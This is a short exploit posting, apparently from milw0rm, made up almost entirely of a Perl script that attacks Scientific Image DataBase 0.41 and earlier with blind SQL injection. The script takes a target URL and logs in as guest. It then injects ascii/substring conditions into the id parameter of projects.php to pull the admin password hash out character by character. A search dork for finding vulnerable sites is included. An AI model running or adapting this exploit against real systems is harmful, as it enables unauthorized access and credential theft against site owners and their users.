Scientific Image DataBase <= 0.41 - Blind SQL Injection Exploit

#!/usr/bin/perl use strict; use warnings; use LWP::UserAgent; # Download: http://sidb.sourceforge.net/ # Dork: &#34;Scientific Image DataBase&#34; # This exploit retrives the admin username/password via blind mysql injection. print &#60;&#60;INFO; # heredocs is ugly.. so is my INFO ;) ------------------------------------- - Scientific Image DataBase &#60;= 0.41 - - Blind SQL Injection Exploit - - - - Coded && Discovered By: t0pP8uZz - - Discovered On: 19 JUNE 2008 - ------------------------------------- -Greetz: muts, perlunderground, h-y - - cipher, milw0rm - ------------------------------------- INFO print &#34;Enter URL(ie: http://site.com): &#34;; chomp(my $url=&#60;STDIN&#62;); my ($substr, $done, $chr, $res) = (1, 1, 48, &#34;&#34;); my $ua = LWP::UserAgent-&#62;new( agent =&#62; &#39;Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)&#39;, cookie_jar =&#62; {} ); $ua-&#62;post($url.&#34;/login.php&#34;, { &#39;logon&#39; =&#62; &#39;true&#39;, &#39;user&#39; =&#62; &#39;guest&#39;, &#39;pwd&#39; =&#62; &#39;guest&#39;, &#39;submit&#39; =&#62; &#39;Login&#39; } ); while($done) { my $content = $ua-&#62;get($url.&#34;/projects.php?show=true&id=57%20and%20ascii(substring((select%20pwd%20from%20users%20where%20userid=1),&#34;.$substr.&#34;,1))=&#34;.$chr); if($content-&#62;content =~ /Not meant/ && length($res) == 32) { $done = 0; } elsif($content-&#62;content !~ /Not meant/) { $res .= chr($chr); $substr++; $chr = 48; } else { $chr++; } } print &#34;Username: sysadmin Password: &#34;.$res.&#34;\n&#34;; exit; # milw0rm.com [2008-06-21]